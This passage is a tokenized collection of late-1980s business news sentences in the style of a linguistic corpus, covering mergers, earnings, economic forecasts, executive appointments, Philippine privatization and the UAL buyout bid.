formal endorsement of a merger with Daimler-Benz AG until another meeting on Nov. 17 . +The owners of the defense and aerospace concern , which include three regional states , several industrial companies and banks , met Friday to discuss the final terms of the transaction , in which Daimler-Benz will acquire 50.01 % of +But agreement aparently could n't be reached because of opposition from the states of Hamburg and Bremen , which are demanding more influence over the German Airbus operations and a better guarantee against job losses in the troubled Northern German region . +The two states and the state of Bavaria still hold a majority in MBB , but their stake will fall to around 30 % after Daimler-Benz acquires its stake in the concern . +Jeffrey E. Levin was named vice president and chief economist of this commodity futures and options exchange . +He had been associate professor in the department of finance at Seton Hall University . +SIERRA TUCSON Cos. said it completed its initial public offering of 2.5 million common shares , which raised $ 30 million . +The Tucson , Ariz. , operator of addiction-treatment centers said proceeds will be used for expansion , to pay debt and for general corporate purposes . +Oppenheimer & Co. was the lead underwriter . +The government issues its first reading on third-quarter real gross national product this week in a report that is expected to disclose much tamer inflation . +The consensus view on real GNP , the total value of the nation 's output of goods and services adjusted for inflation , calls for a 2.3 % gain , down from the second quarter 's 2.5 % , according to MMS International , a unit of McGraw-Hill Inc. , New York . +But inflation , as measured by the GNP deflator in Thursday 's report , is expected to rise only 3.5 % , down from 4.6 % in the second quarter . +`` Inflation could be a real surprise , '' said Samuel D. Kahan , chief financial economist at Kleinwort Benson Government Securities Inc. , in Chicago . +`` If that gets people excited , it could serve as an impetus to the fixed-income markets to lower their rates , '' he added . +The week 's other notable indicators include mid-October auto sales , September durable goods orders as well as September personal income , personal consumption and the saving rate . +Most are expected to fall below previous-month levels . +Many economists see even slower GNP growth for the remainder of the year , with some leaning more strongly toward a possible recession . +In addition to softer production data , weaker housing starts and lower corporate profits currently in evidence , some analysts believe the two recent natural disasters -- Hurricane Hugo and the San Francisco earthquake -- will carry economic ramifications in the fourth quarter . +The recent one-day , 190-point drop in the Dow Jones Industrial Average seems to be significant to economists mainly for its tacit comment on the poor quality of third-quarter profits now being reported . +`` The stock market is sick because profits are crumbling , '' says Michael K. Evans , president of Evans Economics Inc. , Washington . +The economy , he noted , moves the market , not vice versa . +On the other hand , Mr. Evans expects the hurricane and the earthquake `` to take a hunk out of fourth-quarter GNP . '' +His estimate of 3.3 % for third-quarter GNP is higher than the consensus largely because he believes current inventories are n't as low as official figures indicate . +Demand , he believes , is being met from overhang rather than new production . +By and large , economists believe the two natural catastrophes will limit economic damage to their regions . +Edward J. Campbell , economist at Brown Brothers Harriman & Co. , New York , noted that large increases in construction activity along with government and private relief efforts could offset loss of production in those areas . +Gary Ciminero , economist at Fleet\/Norstar Financial Group , Providence , R.I. , expects the deflator to rise 3.7 % , well below the second quarter 's 4.6 % , partly because of what he believes will be temporarily better price behavior . +He expects real GNP growth of only 2.1 % for the quarter , noting a wider trade deficit , slower capital and government spending and the lower inventory figures . +Sung Won Sohn , chief economist at Norwest Corp. , Minneapolis , holds that the recent stock-market volatility `` increases the possibility of economic recession and reinforces the bad news '' from recent trade deficit , employment and housing reports . +The consensus calls for a 0.5 % increase in September personal income and a 0.3 % gain in consumption . +In August , personal income rose 0.4 % and personal consumption increased 0.9 % . +Charles Lieberman , managing director of financial markets reasearch at Manufacturers Hanover Securities Corp. , New York , said Hurrican Hugo shaved 0.1 % to 0.2 % from personal-income growth , because of greatly diminished rental income from tourism . +Durable goods orders for September , due out tomorrow , are expected to show a slip of 1 % , compared with August 's 3.9 % increase . +As usual , estimates on the fickle report are wide , running from a drop of 3.5 % to a gain of 1.6 % . +HASTINGS MANUFACTURING Co. declared a regular quarterly dividend of 10 cents a share and an extra dividend of five cents a share on its common stock , payable Dec. 15 to shares of record Nov. 17 . +This is the 11th consecutive quarter in which the company has paid shareholders an extra dividend of five cents . +The Hastings , Mich. , concern makes piston rings , filters and fuel pumps . +Vickers PLC , a United Kingdom defense and engineering company , said an investment unit controlled by New Zealand financier Ron Brierley raised its stake in the company Friday to 15.02 % from about 14.6 % Thursday and from 13.7 % the previous week . +I.E.P. Securities Ltd. , a unit of Mr. Brierley 's Hong Kong-based Industrial Equity -LRB- Pacific -RRB- Ltd. , boosted its holdings in Vickers to 38.8 million shares . +The latest purchase follows small increases in his holdings made over the past five months . +In May , Mr. Brierley 's stake shrank to 8.7 % after ranging between 9 % and 11 % for much of the previous year . +`` Ron Brierley clearly views our company as a good investment , '' a Vickers spokesman said . +The spokesman refused to comment on speculation that Industrial Equity might use its interest as a platform to launch a hostile bid for the company . +Vickers makes tanks for the U.K. army , Rolls Royce cars , and has marine and medical businesses . +When Rune Andersson set out to revive flagging Swedish conglomerate Trelleborg AB in the early 1980s , he spurned the advice of trendy management consultants . +`` All these consultants kept coming around telling us we should concentrate on high technology , electronics or biotechnology , and get out of mature basic industries , '' Mr. Andersson recalls . +Yet under its 45-year-old president , Trelleborg moved aggressively into those unfashionable base industries -- first strengthening its existing rubber and plastics division , later adding mining as well as building and construction materials . +It was a gutsy move for a little-known executive , fired after only two months as president of his previous company . +But going against the grain has never bothered Mr. Andersson . +Stroking his trademark white goatee during a recent interview , the diminutive Swede quips : `` It turned out to be lucky for us . +If the whole market thinks what you 're doing is crazy you do n't have much competition . '' +Mr. Andersson is anxious to strengthen Trelleborg 's balance sheet . +Characteristically , he did n't waste much time getting started . +On Tuesday , Trelleborg 's directors announced plans to spin off two big divisions -- minerals processing , and building and distribution -- as separately quoted companies on Stockholm 's Stock Exchange . +At current market prices , the twin public offerings to be completed next year would add an estimated 2.5 billion Swedish kronor -LRB- $ 386 million -RRB- to Trelleborg 's coffers , analysts say . +The board had also been expected to approve a SKr1.5 billion international offering of new Trelleborg shares . +But that share issue -- intended to make Trelleborg better known among international investors -- was postponed until market conditions stabilize , people familiar with the situation say . +Trelleborg 's internationally traded `` Bfree '' series stock plunged SKr29 -LRB- $ 4.48 -RRB- to SKr205 -LRB- $ 31.65 -RRB- in volatile trading Monday in Stockholm . +Tuesday , the shares regained SKr20 , closing at SKr225 . +Mr. Andersson says he is confident that taking parts of the company public will help erase the `` conglomerate stigma '' that has held down Trelleborg 's share price . +Trelleborg plans to remain the dominant shareholder with stakes of slightly less than 50 % of both units . +The spinoff should solve a problem for the parent . +A family foundation set up by late founder Henry Dunker controls 59 % of Trelleborg 's voting shares outstanding . +But the foundation bylaws require the entire Trelleborg stake to be sold in the open market if control drops below 50 % . +That possibility had crept closer as repeated new share offerings to finance Trelleborg 's rapid growth steadily diluted the foundation 's holding . +That growth is the result of Mr. Andersson 's shopping spree , during which he has bought and sold more than 100 companies during the past five years . +Most of the new additions were barely profitable , if not outright loss makers . +Applying prowess gained during earlier stints at appliance maker AB Electrolux , Mr. Andersson and a handful of loyal lieutenants aggressively stripped away dead wood -- and got quick results . +The treatment turned Trelleborg into one of Scandinavia 's biggest and fastest-growing industrial concerns . +Between 1985 and 1988 , sales multipled more than 10 times and pretax profit surged almost twelvefold . +Many analysts expect Mr. Andersson , who owns 1.7 % of the company , to be named Trelleborg 's new chairman when Ernst Herslow steps down next year . +But the promotion is n't likely to alter a management style Mr. Andersson describes as `` being the driving force leading the troops , not managing by sitting back with a cigar waiting for people to bring me ideas . '' +Last month , in his boldest move yet , Mr. Andersson and Trelleborg joined forces with Canada 's Noranda Inc. in a joint $ 2 billion hostile takeover of another big Canadian mining concern , Falconbridge Ltd . +Industry analysts suggest that the conquest of Falconbridge could vault Trelleborg from a regional Scandinavian success story to a world-class mining concern . +`` Trelleborg is n't in the same league yet as mining giants such as RTZ Corp. or Anglo-American Corp. , '' says Mike Kurtanjek , a mining analyst at James Capel & Co. , London . +`` But we certainly like what we 've seen so far . '' +But Trelleborg still must clear some tough hurdles . +Mr. Andersson acknowledges that the company 's mining division `` will be busy for a while digesting its recent expansion . '' +Booming metals prices have fueled Trelleborg 's recent profit surge , raising mining 's share of pretax profit to 68 % this year from a big loss two years earlier . +But analysts caution an expected fall in metal prices next year could slow profit growth . +Mining is likely to remain Trelleborg 's main business . +Analysts say its chances of success will likely hinge on how well Trelleborg manages to cooperate with Noranda in the Falconbridge venture . +Noranda and Trelleborg each came close to winning Falconbridge alone before the successful joint bid . +Some analysts say Noranda would prefer to break up Falconbridge , and that the Swedes -- relatively inexperienced in international mining operations -- could have problems holding their own with a much bigger partner like Noranda operating on its home turf . +Mr. Andersson insists that Trelleborg and Noranda have n't discussed a Falconbridge break-up . +Falconbridge , he says , will continue operating in its current form . +`` We 'd be reluctant to accept 50-50 ownership in a manufacturing company . +But such partnerships are common in mining , where there are n't problems or conflict of interest or risk of cheating by a partner , '' Trelleborg 's president says . +Perhaps more important , both companies share Mr. Andersson 's belief in the coming renaissance of base industries . +`` If the 1980s were a decade of consumption , the '90s will be the investment decade , '' Mr. Andersson says . +`` The whole of Europe and the industrialized world is suffering from a breakdown in infrastructure investment , '' he says . +`` That 's beginning to change . +And investment is the key word for base metals , and most other businesses Trelleborg is in . +Apple Computer Inc. posted improved fiscal fourth-quarter profit due largely to a $ 48 million gain on the sale of its stock in Adobe Systems Inc . +Excluding the gain , the company registered a modest 4.6 % increase for the quarter ended Sept. 29 to $ 113 million , or 87 cents a share , from the year-earlier $ 107.9 million , or 84 cents a share . +Proceeds of the Adobe sale brought net income in the quarter to $ 161.1 million , or $ 1.24 a share . +Apple shares fell 75 cents in over-the-counter trading to close at $ 48 a share . +Fiscal fourth-quarter sales grew about 18 % to $ 1.38 billion from $ 1.17 billion a year earlier . +Without the Adobe gain , Apple 's full-year operating profit edged up 1.5 % to $ 406 million , or $ 3.16 a share , from $ 400.3 million , or $ 3.08 a share . +Including the Adobe gain , full-year net was $ 454 million , or $ 3.53 a share . +Sales for the year rose nearly 30 % to $ 5.28 billion from $ 4.07 billion a year earlier . +John Sculley , chairman and chief executive officer , credited the Macintosh SE\/30 and IIcx computers , introduced in the winter , for the brightened sales performance . +Mr. Sculley also indicated that sagging margins , which dogged the company through most of 1989 , began to turn up in the fourth quarter as chip prices eased . +`` Adverse pressure on gross margins ... has subsided , '' Mr. Sculley said . +Margins in the fiscal fourth quarter perked up , rising to 51 % from 49.2 % a year earlier . +For all of fiscal 1989 , however , the average gross margin was 49 % , below the average 1988 gross margin of 51 % . +Lower component costs -- especially for DRAMs , or dynamic random access memory chips -- were cited for the easing of margin pressure on the company , a spokeswoman said . +Looking ahead to 1990 , Mr. Sculley predicted `` another year of significant revenue growth , '' along with improved profitability , as the recovery in gross margins continues into 1990 . +Gary J. Schantz , 44 years old , was named president and chief operating officer . +Polymerix makes lumber-like materials that it describes as `` plastic wood . '' +The operating chief 's post is new . +Martin Schrager , 51 , who had been president , was named vice chairman . +He remains chief executive officer . +Mr. Schantz was vice president and chief operating officer of the Acrylic division of Polycast Technology Corp . +Separately , the board expanded to six members with the election of David L. Holewinski , a consultant . +The company also said it privately placed stock and warrants in exchange for $ 750,000 . +Terry L. Haines , formerly general manager of Canadian operations , was elected to the new position of vice president , North American sales , of this plastics concern . +Also , Larry A. Kushkin , executive vice president , North American operations , was named head of the company 's international automotive operations , another new position . +He remains an executive vice president , the company said , and his new position reflects `` the growing importance of the world automotive market as a market for A. Schulman 's high performance plastic materials . '' +Gordon Trimmer will succeed Mr. Haines as manager of Canadian operations , and Mr. Kushkin 's former position is n't being filled at this time , the company said . +General Electric Co. said it signed a contract with the developers of the Ocean State Power project for the second phase of an independent $ 400 million power plant , which is being built in Burrillville , R.I . +GE , along with a division of Ebasco , a subsidiary of Enserch Corp. , have been building the first 250-megawatt phase of the project , which they expect to complete in late 1990 . +The second portion will be completed the following year . +GE 's Power Generation subsidiary will operate and maintain the plant upon its completion . +The Environmental Protection Agency is getting a lot out of the Superfund program . +Of the $ 4.4 billion spent so far on the program , 60 % is going for administrative costs , management and research , the Office of Technology Assessment just reported . +Only 36 of 1,200 priority cleanup sites have been `` decontaminated . '' +Over the next 50 years , $ 500 billion is earmarked for the program . +At current allocations , that means EPA will be spending $ 300 billion on itself . +It may not be toxic , but we know where one waste dump is . +Chambers Development Co. said its Security Bureau Inc. unit purchased two security concerns in Florida that will add $ 2.1 million of annual revenue . +Purchase of the businesses serving Miami , Fort Lauderdale and West Palm Beach , Fla. , is part of a plan by Chambers to expand in the growing security industry . +Terms were n't disclosed . +Basf AG said it moved its headquarters for Latin America to Mexico and the headquarters for the Asia\/Australia regional division to Singapore , effective Oct . +The central offices for both regions were previously located in Ludwigshafen , Basf headquarters . +The West German chemical concern called the moves a further step in the internationalization of its business activities . +Both regions are the fastest-growing areas for Basf , the company said . +David H. Eisenberg , 53 years old , was named president and chief operating officer of Imasco 's 500-store Peoples Drug Stores Inc. unit , based in Alexandria , Va . +Mr. Eisenberg was senior executive vice president and chief operating officer . +Imasco is a tobacco , retailing , restaurant and financial services concern . +Lotus Development Corp. is in talks to sell its Signal stock-quote service to Infotechnology Inc. , the New York parent of Financial News Network , people familiar with the negotiations said . +They said the price would be around $ 10 million . +Signal , which has an estimated 10,000 subscribers and is profitable , provides stock quotes over an FM radio band that can be received by specially equipped personal computers . +The computers will display stock prices selected by users . +Lotus , Cambridge , Mass. , has been rumored to have the sale of the four-year-old unit under consideration for a year . +The business is n't related to Lotus 's main businesses of making computer software and publishing information on compact disks . +`` Please submit your offers , '' says Felipe Bince Jr . +He surveys the prospective investors gathered in the board room of the Philippine government 's Asset Privatization Trust for the sale of a 36 % interest in the country 's largest paper mill . +The agency expects the bids to be equivalent of more than $ 80 million . +Not a peso is offered . +Mr. Bince , the trust 's associate executive trustee , declares the bidding a failure . +`` It 's getting harder to sell , '' he mutters as he leaves the room . +Indeed . Recently , the trust failed to auction off the paper mill , a bank , an office building and a small cotton-ginning plant . +Of the four , only the bank and the plant drew bids -- one apiece . +In October 1987 , President Corazon Aquino vowed that her government would `` get out of business '' by selling all or part of the state 's holdings in the many companies taken over by the government during the 20-year rule of Ferdinand Marcos . +Two years later , Mrs. Aquino 's promise remains largely unfulfilled . +October is a critical month for the privatization program . +Manila is offering several major assets for the first time and is trying to conclude sales already arranged . +In addition , the government is scheduled to unveil plans for privatizing Philippine Airlines , the national carrier , an effort that lawyer and business columnist Rodolfo Romero calls `` the bellwether of privatization . '' +All told , there are assets on the line valued at up to $ 1.03 billion . +The privatization program is designed to rid the government of hundreds of assets and to raise critically needed funds . +Much of the money from the sales is earmarked for a multibillion-dollar agrarian-reform program . +But efforts have been thwarted by official indifference , bureaucratic resistance , a legal system that operates at a snail 's pace , political opposition and government misjudgments . +Most recently , a lack of buyers has been added to the list . +Rather than gathering momentum , the program is in danger of slowing even more as the government tackles several big assets . +The axiom appears to be that the more valuable the asset , the harder the privatization process . +`` You just do n't see a whole lot happening , '' says an international economist . +To be sure , the program has n't completely stalled . +The Asset Privatization Trust , the agency chiefly responsible for selling government-held properties , has recorded sales of more than $ 500 million since it began functioning in December 1986 . +But its success has been largely in the sale of small , nonperforming companies , which are valued for their assets . +Dealing with the sales this month could be particularly challenging because almost every problem that has hobbled the program in the past is popping up again . +Ramon Garcia , the Asset Trust 's executive trustee , admits to what he calls `` temporary setbacks . '' +In light of the poor results recently , he says , the agency is adopting an `` attitude of flexibility . '' +October 's troubles began when the trust failed to sell a state-owned commercial bank , Associated Bank , for the minimum price of 671 million pesos -LRB- $ 31 million -RRB- . +At the end of the month , the agency again will offer the bank . +But instead of a minimum price , only a target price will be established . +Bankers say , however , that the government may have difficulty selling the institution even without a floor price . +The bank has a negative net worth , they say . +In addition , special bidding rules give the bank 's former owner , Leonardo Ty , the right to match the highest bid . +Mr. Ty lost control to the government in 1980 when a government bank made emergency loans to the cash-strapped institution . +In 1983 , the loans were converted into equity , giving Manila 98 % of the bank , but with the understanding that Mr. Ty had repurchase rights . +His ability to match any bid has scared off many potential buyers . +Separately , the government will try again within a month to sell the 36 % stake in Paper Industries Corp. of the Philippines , or Picop , as the paper mill is known . +The price will depend on how much Picop shares fetch on the local stock market . +But according to bankers and stock analysts who have studied the paper mill , price is n't the only consideration . +As it stands now , the government would continue to hold 45 % of Picop after the 36 % stake is sold . +-LRB- About 7.5 % of Picop is publicly traded and other shareholders own the rest of the equity . -RRB- +Potential buyers , mostly foreign companies , are reluctant to take a non-controlling stake in a company that , by the government 's own reckoning , needs some $ 100 million in new capital for rehabilitation . +The prospect of buying into a cash-hungry company without getting management control persuaded at least three foreign buyers , including a member of the Elders group of Australia , to pull out of the bidding , the bankers and analysts say . +Mr. Garcia acknowledges the problem and says the Asset Trust will study why the bidding failed and what changes the agency may be able to offer . +Under government regulations , however , foreign ownership of Picop 's equity is limited to 40 % . +Even though the government would retain the 45 % stake in Picop , critics have accused the trust of selling out to foreigners . +A series of newspaper articles accused the trust of short-changing the government over the Picop sale . +Mr. Garcia says he has been notified of congressional hearings on the Picop bidding and possible legislation covering the paper mill 's sale , both prompted by the criticism of the agency . +The question of control could further hinder long-delayed plans for the government to divest itself of Philippine Airlines , in which it has a 99 % stake . +The carrier has valuable trans-Pacific and Asian routes but it remains debt-laden and poorly managed . +This maker of electronic measuring devices named two new directors , increasing board membership to nine . +The new directors are Gordon M. Sprenger , president and chief executive officer of LifeSpan Inc. , and Peter S. Willmott , chairman and chief executive officer of Willmott Services Inc . +Gerard E. Wood , 51 years old , was elected president , chief executive officer and a director of this minerals and materials company . +He succeeds Harry A. Durney , 65 , who is retiring from active duty but remains a director and consultant . +Mr. Wood has been president and chief executive of Steep Rock Resources Inc . +Eagle Financial Corp. and Webster Financial Corp. , two Connecticut savings bank-holding companies , agreed to merge in a tax-free stock transaction . +The new holding company , Webster\/Eagle Bancorp Inc. , will have about $ 1.2 billion of assets and 19 banking offices in Connecticut . +Tangible capital will be about $ 115 million . +The merger is subject to regulatory clearance and a definitive agreement . +In the merger , each share of Webster , based in Waterbury , will be converted into one share of the new company . +Each share of Eagle , based in Bristol , will become 0.95 share of Webster\/Eagle . +In American Stock Exchange composite trading Friday , Eagle shares rose 12.5 cents to $ 11 . +In national over-the-counter trading , Webster shares fell 25 cents to $ 12.375 . +Webster has 3.5 million shares outstanding and Eagle 2.6 million . +Their indicated market values thus are about $ 43.3 million and $ 28.6 million , respectively . +Frank J. Pascale , chairman of Eagle , will be chairman of the new firm and James C. Smith , president and chief executive officer of Webster , will take those posts at Webster\/Eagle . +Harold W. Smith Sr. , chairman of Webster , will become chairman emeritus and a director of the new company . +Ralph T. Linsley , vice chairman of Eagle , will become vice chairman of Webster\/Eagle . +The board will be made up of seven directors of each holding company . +In an interview , James Smith said the banks ' `` markets are contiguous and their business philosophies are similar and conservative . '' +Nonperforming loans will make up only about 0.5 % of the combined banks ' total loans outstanding , he said . +At June 30 , Webster , which owns First Federal Savings & Loan Association of Waterbury , had assets of $ 699 million . +Eagle , which controls Bristol Federal Savings Bank and First Federal Savings & Loan Association of Torrington , had assets of $ 469.6 million on that date . +Guillermo Ortiz 's Sept. 15 Americas column , `` Mexico 's Been Bitten by the Privatization Bug , '' is a refreshingly clear statement of his government 's commitment to privatization , and must be welcomed as such by all Americans who wish his country well . +The Mexico-United States Institute is glad to see such a high official as Mexico 's undersecretary of finance view his country 's reforms `` in the context of a larger , world-wide process '' of profound change toward free-market economics , especially in the statist countries . +Having said that , we must caution against an apparent tendency to overstate the case . +It is not quite true , for example , that the Mexican government has `` privatized '' Mexicana de Aviacion , as Mr. Ortiz claims . +In the same sentence he contradicts himself when he reports that the government still retains 40 % of the total equity of the airline . +How can a company be considered `` privatized '' if the state is so heavily represented in it ? +-LRB- True , the Mexican government has granted `` control '' over the airline to a new private consortium , but its propensity to take back what it gives is too well known to permit one to be sanguine . -RRB- +Regrettably , too , Mr. Ortiz resorts to the familiar `` numbers game '' when he boasts that `` fewer than 392 -LCB- state enterprises -RCB- currently remain in the public sector , '' down from the `` 1,155 public entities that existed in 1982 . +'' But the enterprises still in state hands include the biggest and most economically powerful ones in Mexico ; indeed , they virtually constitute the economic infrastructure . +I refer essentially to petroleum , electric power , banking and newsprint . +Those enterprises , however , are not going to be privatized . +They are officially considered `` strategic , '' and their privatization is prohibited by the Mexican Constitution . +In language that sidesteps the issue , Mr. Ortiz writes , `` The divestiture of nonpriority and nonstrategic public enterprises is an essential element of President Carlos Salinas 's plan to modernize Mexico 's economy ... . '' +Yet clearly , modernization must embrace its key industries before it can be said to have caught the `` privatization bug . '' +The bottom line , however , is not economic but political reform . +A long succession of Mexican presidents arbitrarily nationalized whatever industry they took a fancy to , without having to answer to the public . +To guarantee that Mexicana de Aviacion and other companies will really be privatized , Mexico needs a pluri-party political system that will ensure democracy and hence accountability . +Daniel James President Mexico-United States Institute +The board of this Ponce , Puerto Rico concern voted to suspend payment of its quarterly of 11 cents a share for the third quarter . +The third-largest thrift institution in Puerto Rico also said it expects a return to profitability in the third quarter when it reports operating results this week . +Ponce Federal said the dividend was suspended in anticipation of more stringent capital requirements under the Financial Institutions Reform , Recovery , and Enforcement Act of 1989 . +A labor-management group is preparing a revised buy-out bid for United Airlines parent UAL Corp. that would transfer majority ownership to employees while leaving some stock in public hands , according to people familiar with the group . +The group has been discussing a proposal valued in a range of $ 225 to $ 240 a share , or $ 5.09 billion to $ 5.42 billion . +But to avoid the risk of rejection , the group does n't plan to submit the plan formally at a UAL board meeting today . +Instead , the group is raising the proposal informally to try to test the board 's reaction . +People familiar with the company say the board is n't likely to give quick approval to any offer substantially below the $ 300-a-share , $ 6.79 billion buy-out bid that collapsed last week after banks would n't raise needed loans and after a key partner , British Airways PLC , dropped out . +In composite trading Friday on the New York Stock Exchange , UAL closed at $ 168.50 a share , down $ 21.625 . +But the pilots union , which has been pushing for a takeover since 1987 , appears to be pressing ahead with the revised bid to avoid further loss of momentum even though it has n't found a partner to replace British Air . +Although the bidding group has n't had time to develop its latest idea fully or to discuss it with banks , it believes bank financing could be obtained . +After the collapse of the last effort , the group does n't plan to make any formal proposal without binding commitments from banks covering the entire amount to be borrowed . +Under the type of transaction being discussed , the pilot-management group would borrow several billion dollars from banks that could then be used to finance a cash payment to current holders . +Those current holders would also receive minority interests in the new company . +For example , the group could offer $ 200 a share in cash plus stock valued at $ 30 a share . +UAL currently has 22.6 million shares , fully diluted . +The new structure would be similar to a recapitalization in which holders get a special dividend yet retain a controlling ownership interest . +The difference is that current holders would n't retain majority ownership or control . +The failed takeover would have given UAL employees 75 % voting control of the nation 's second-largest airline , with management getting 10 % control and British Air 15 % . +It was n't clear how the ownership would stack up under the new plan , but employees would keep more than 50 % . +Management 's total could be reduced , and the public could get more than the 15 % control that had been earmarked for British Air . +One option the board is likely to consider today is some sort of cooling-off period . +Although the pilots are expected to continue to pursue the bid , UAL Chairman Stephen Wolf may be asked to withdraw from the buy-out effort , at least temporarily , and to return to running the company full time . +The board could eventually come under some pressure to sell the company because its members can be ousted by a majority shareholder vote , particularly since one-third of UAL stock is held by takeover stock speculators who favor a sale . +The labor-management buy-out group plans to keep its offer on the table in an apparent attempt to maintain its bargaining position with the board . +However , the only outsider who has emerged to lead such a shareholder vote , Los Angeles investor Marvin Davis , who triggered the buy-out with a $ 5.4 billion bid in early August , is hanging back -- apparently to avoid being blamed for contributing to the deal 's collapse . +Three top advisers to Mr. Davis visited New York late last week , at least in part to confer with executives at Citicorp . +Mr. Davis had paid $ 6 million for Citicorp 's backing of his last bid . +But Citicorp has lost some credibility because it also led the unsuccessful effort to gain bank loans for the labor-management group . +On Friday , British Air issued a statement saying it `` does not intend to participate in any new deal for the acquisition of UAL in the foreseeable future . '' +However , several people said that British Air might yet rejoin the bidding group and that the carrier made the statement to answer questions from British regulators about how it plans to use proceeds of a securities offering previously earmarked for the UAL buy-out . +Also late last week , UAL flight attendants agreed to participate with the pilots in crafting a revised offer . +But the machinists union , whose opposition helped scuttle the first buy-out bid , is likely to favor a recapitalization with a friendly third-party investor . +One advantage the buy-out group intends to press with the board is that pilots have agreed to make $ 200 million in annual cost concessions to help finance a bid . +Speculation has also arisen that the UAL executive most closely identified with the failure to gain bank financing , chief financial officer John Pope , may come under pressure to resign . +However , people familiar with the buy-out group said Mr. Pope 's departure would weaken the airline 's management at a critical time . +Despite the buy-out group 's failure to obtain financing , UAL remains obligated to pay $ 26.7 million in investment banking and legal fees to the group 's advisers , Lazard Freres & Co. , Salomon Brothers Inc. , and Paul Weiss Rifkind Wharton & Garrison . +Whittle Communications Limited Partnership , Knoxville , Tenn. , will launch its first media property targeting Hispanic women . +`` La Familia de Hoy , '' or `` Today 's Family , '' will debut this spring and will combine a national bimonthly magazine and TV programming . +The television element of `` La Familia '' includes a series of two-minute informational features to air seven days a week on the Spanish-language Univision network , a unit of Univision Holdings Inc. , which is 80%-owned by Hallmark Cards Inc . +The features will focus on `` parenting , family health and nutrition , and financial management , '' and will carry 30 seconds of advertising . +The magazines , also ad-supported , will be distributed in more than 10,000 doctors ' offices , clinics , and health centers in Hispanic and largely Hispanic communities . +WEIRTON STEEL Corp. said it completed a $ 300 million sale of 10-year notes , the final step in the 1984 buy-out of the company from National Steel Corp . +The 10 7\/8 % notes were priced at 99.5 % to yield 10.958 % in an offering managed by Bear , Stearns & Co. , Shearson Lehman Hutton Inc. and Lazard Freres & Co. , the company said . +Weirton , of Weirton , W. Va. , said $ 60.3 million of the proceeds were used to prepay the remaining amounts on the note outstanding to National Intergroup Inc. , the parent of National Steel . +Remaining proceeds were used to pay other debt and to finance the company 's capital spending program . +Lep Group PLC of Britain , which holds a 62.42 % stake in Profit Systems Inc. , said it is considering courses of action that could result in its having `` active control '' of the company . +In a filing with the Securities and Exchange Commission , Lep Group said a possible course of action may include acquiring some or all of the Profit Systems shares it does n't already own . +It noted , however , that it has n't determined any specific terms of a possible transaction . +Lep Group and affiliates currently control 3,513,072 Profit Systems common shares , or 62.42 % , the filing said . +Profit Systems , Valley Stream , N.Y. , is an air freight forwarding concern . +U.S. official reserve assets rose $ 6.05 billion in September , to $ 68.42 billion , the Treasury Department said . +The gain compared with a $ 1.10 billion decline in reserve assets in August to $ 62.36 billion , the department said . +U.S. reserve assets consist of foreign currencies , gold , special drawing rights at the International Monetary Fund and the U.S. reserve position -- its ability to draw foreign currencies -- at the IMF . +The nation 's holdings of foreign currencies increased $ 5.67 billion in September to $ 39.08 billion , while its gold reserves were virtually unchanged at $ 11.07 billion . +U.S. holdings of IMF special drawing rights last month rose $ 247 million , to $ 9.49 billion , and its reserve position at the IMF increased $ 142 million , to $ 8.79 billion . +Alusuisse of America Inc. plans to sell its Consolidated Aluminum Corp. subsidiary as part of its strategy to focus more on aluminum packaging in the U.S. . +Alusuisse , of New York , declined to say how much it expects to get for the unit ; the company has hired First Boston Corp. to help identify bidders . +Alusuisse is a subsidiary of Swiss Aluminium Ltd. , a Zurich , Switzerland , producer of aluminum , chemicals and packaging products . +Consolidated , which had 1988 revenue of $ 400 million , makes aluminum sheet and foil products at its Hannibal , Ohio , and Jackson , Tenn. , rolling mills and recycles aluminum at a plant in Bens Run , W.Va . +Manhattan National Corp. said Michael A. Conway , president and chief executive officer , was elected chief executive of the holding company 's two principal insurance subsidiaries . +He succeeds Paul P. Aniskovich Jr. , who resigned to pursue other business interests , the company said . +Mr. Conway , 42 years old , was elected chairman , president and chief executive of Manhattan Life Insurance Co. and president and chief executive of Manhattan National Life Insurance Co . +Harry Rossi , 69 , chairman of the holding company , also remains chairman of Manhattan National Life Insurance Co . +Mr. Conway was executive vice president and chief investment officer of Union Central Life Insurance Co. , of Cincinnati , in 1987 , when Union Central bought a 54 % interest in Manhattan National Corp . +He resigned as an officer of Central Life to accept the Manhattan National presidency . +Daniel J. Terra , a director of First Illinois Corp. , said that in August he reduced his stake in First Illinois to 26.48 % of the common shares outstanding . +In a filing with the Securities and Exchange Commission , Mr. Terra said he sold 263,684 First Illinois common shares from Aug. 9 to Aug. 28 for $ 9.9375 to $ 10.5625 a share . +As a result of the sales he holds 6,727,042 shares . +Mr. Terra said in the filing that he sold the stock to decrease his position in the Evanston , Ill. , banking concern . +He may sell more shares in the open market or in private transactions , but would n't rule out changing his intentions and buying shares , the filing said . +SciMed Life Systems Inc. , Minneapolis , said a federal appeals court vacated an earlier summary judgment in its favor . +A lower court in St. Paul had ruled in September 1988 that a heart catheter SciMed manufactures does n't infringe on a patent owned by Advanced Cardiovascular Systems , a unit of Eli Lilly & Co . +SciMed said the appeals court remanded the case back to the district court for further proceedings . +In national over-the-counter trading Friday , SciMed shares tumbled $ 2.75 to $ 43 . +SciMed said it `` remains committed '' both to the `` vigorous defense '' of its position that the catheter does n't infringe the Lilly unit 's patent , and to the pursuit of its own counterclaims , which allege Lilly engaged in antitrust violations and other wrongful acts . +A REVISED BID FOR UAL is being prepared by a labor-management group , sources said . +The new proposal , which would transfer majority ownership of United Air 's parent to employees and leave some stock in public hands , would be valued at $ 225 to $ 240 a share , or as much as $ 5.42 billion . +But UAL 's board is n't expected to give quick approval to any offer substantially below the $ 300-a-share bid that collapsed recently . +Takeover stock speculators have incurred paper losses of over $ 700 million from the failed UAL offer , their worst loss ever on a single deal . +Ford and Saab ended talks about a possible alliance after Ford concluded that the cost to modernize Saab 's car operations would outweigh the likely return . +The collapse Friday prompted speculation that Ford would intensify its pursuit of Jaguar , which is negotiating a defensive alliance with GM . +Stock prices edged up in quiet trading Friday . +The Dow Jones industrials rose 5.94 , to 2689.14 , making the gain for the week a record 119.88 points , or 4.7 % . +Most bond prices fell , but junk bonds and the dollar rose . +New York City bonds were sold off by many investors last week amid political and economic uncertainty . +More banks are being hurt by Arizona 's worsening real-estate slump . +First Interstate Bancorp of Los Angeles said Friday it expects a $ 16 million quarterly loss , citing property-loan losses at its Arizona unit . +OPEC 's ability to produce more oil than it can sell is starting to cast a shadow over world oil markets . +OPEC officials worry that prices could collapse a few months from now if the group does n't adopt new quotas . +Saatchi & Saatchi has attracted offers for some of its advertising units but has rejected them , sources said . +The proposals , from suitors including Interpublic Group , come as the London-based ad giant struggles through its most difficult period ever . +Qintex Australia suffered another setback Friday when its Los Angeles-based affiliate filed for Chapter 11 protection . 